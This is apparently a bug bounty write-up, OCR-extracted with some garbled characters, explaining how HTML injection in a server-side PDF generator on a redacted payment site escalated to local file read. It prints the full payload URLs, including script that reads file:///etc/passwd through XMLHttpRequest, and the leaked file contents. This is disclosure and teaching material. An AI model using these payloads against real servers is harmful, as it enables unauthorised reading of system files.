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Hello Hunters,

This time I am writing about a Vulnerability found in another private program(xyz.com)
on Bugcrowd which at first I thought wasn't much impactful (P4) but later escalated it
to a P1.

While browsing the Application I came across an endpoint which allowed us to

download some kind of Payment Statements as PDF.

The URL looked like this

https://xyz.com/payments/downloadStatements?
Id=b9bc3d&utrnumber=xyz&date=2017-08-
11&settlement_type=all&advice id=undefined

I saw that the Value of utrnumber is reflected inside the PDF file that got downloaded

so I wrote some HTML in utrnumber parameter as "><S>aaa

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber="><S>aaa
&date=2017-08-11&settlement_type=all&advice_id=undefined

Upon opening this PDF I found that the HTML was rendered and could be seen in PDF.
This kind of vulnerability usually leads to XSS but this time it was inside a PDF which
was being generated dynamically.

If you want to learn more about XSS then I advise to checkout this great intro on XSS:

https://www.aptive.co.uk/blog/xss-cross-site-scripting/
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Statement for ">Aaa{alb)

Settled balance
Description Credits (Rs.) Debits (Rs.) Net Settled Amount (Rs.)

Total settled amount Rs. 0.00

Example Dynamic PDF Generation

I tried to see if I could use an iframe and load internal domains in the frame or if I could
iframe file:///etc/passwd but none of the tricks worked! also, I wasn't able to iframe

external domains.

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber="><iframe
src="http://localhost"></iframe>&date=2017-08-
11&settlement_type=all&advice_id=undefined

Statement for "> (all)

Settled balance
Description Credits (Rs.) | Debits (Rs.)| Net Settled Amount (Rs.)
Total settled amount Rs. 0.00

But, from now I didn't know if I could go further because I wasn't sure if javascript
could be executed like this in PDF.

So after playing around a lot I found that we could execute javascript with the help of
DOM Manipulation

<p id="test">aa</p>
<script>



document.getElementById('test').innerHTML+="aa"'

</script>

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<p

id="test">aa</p>

<script>document.getElementById('test').innerHTML+="aa'</script>&date=2017-08-

11&settlement_type=all&advice id=undefined

and Upon downloading PDF I found that it contained the "aaaa" :D which means

JavaScript execution was successful.

Later, I understood this was happening because our user input was converted from a
HTML Document to a PDF on the server-side.

Also sometime later, I found that I could also use document.write() function to show

results more easily.

<img src=x onerror=document.write("aaaa")>

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<img src=x

onerror=document.write('aaaa’')>&date=2017-08-

11&settlement_type=all&advice_id=undefined

Statement for aaaa ( all )

Settled balance

Description

Credits (Rs.)

Debits (Rs.)

Net Settled Amount (Rs.)

Total settled amount

Rs. 0.00




after this I checked the window.location of where this javascript is executed and to

my surprise it was executing in file:// origin on the Server

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<img src=x
onerror=document.write('aaaa'%2bwindow.location)>&date=2017-08-

11&settlement_type=all&advice_id=undefined

Statement for aaaafile:///tmp/java-wkhtmitopdf-wrapperd9cf8eff-ec3b-4334-b5ef-
4dafd55b2ca23379433155487936854.html ( all )

Settled balance

Description Credits (Rs.) Debits (Rs.) Net Settled Amount (Rs.)

Total settled amount Rs. 0.00

Now since its executing on file://, I tried if we could access file:///etc/passwd via

XHR(XMLHttpRequest), I wasn't sure myself about the Same-Orgin-Policy on file
scheme.

<script>
x=new XMLHttpRequest;
x.onload=function(){

document.write(this.responseText)

}s
x.open("GET","file:///etc/passwd");
x.send();

</script>

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<script>x=new
XMLHttpRequest;x.onload=function()

{document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send(

);</script>&date=2017-08-11&settlement_type=all&advice_id=undefined

and then you know ;)
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statementview (28).pdf
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root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spoolfuucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/runfircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

so That was it, XSS in Server Side Generated PDFs to Local File Read!

However, it took :P me some time to figure all this You could see the number of PDFs I

had to download:
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Apple Travel Portal RCE

| and Harsh discovered a 0-day RCE and exploited it against Apple's Travel portal. You'll be
redirected to Github for this joint blog post in 5 seconds.

Rahul Maini
Jan 15, 2021 « 1 min read

Rahul Maini © 2023
Powered by Ghost


https://blog.noob.ninja/author/rahul/
https://blog.noob.ninja/apple-travel-portal-rce/
https://blog.noob.ninja/author/rahul/
https://blog.noob.ninja/
https://ghost.org/

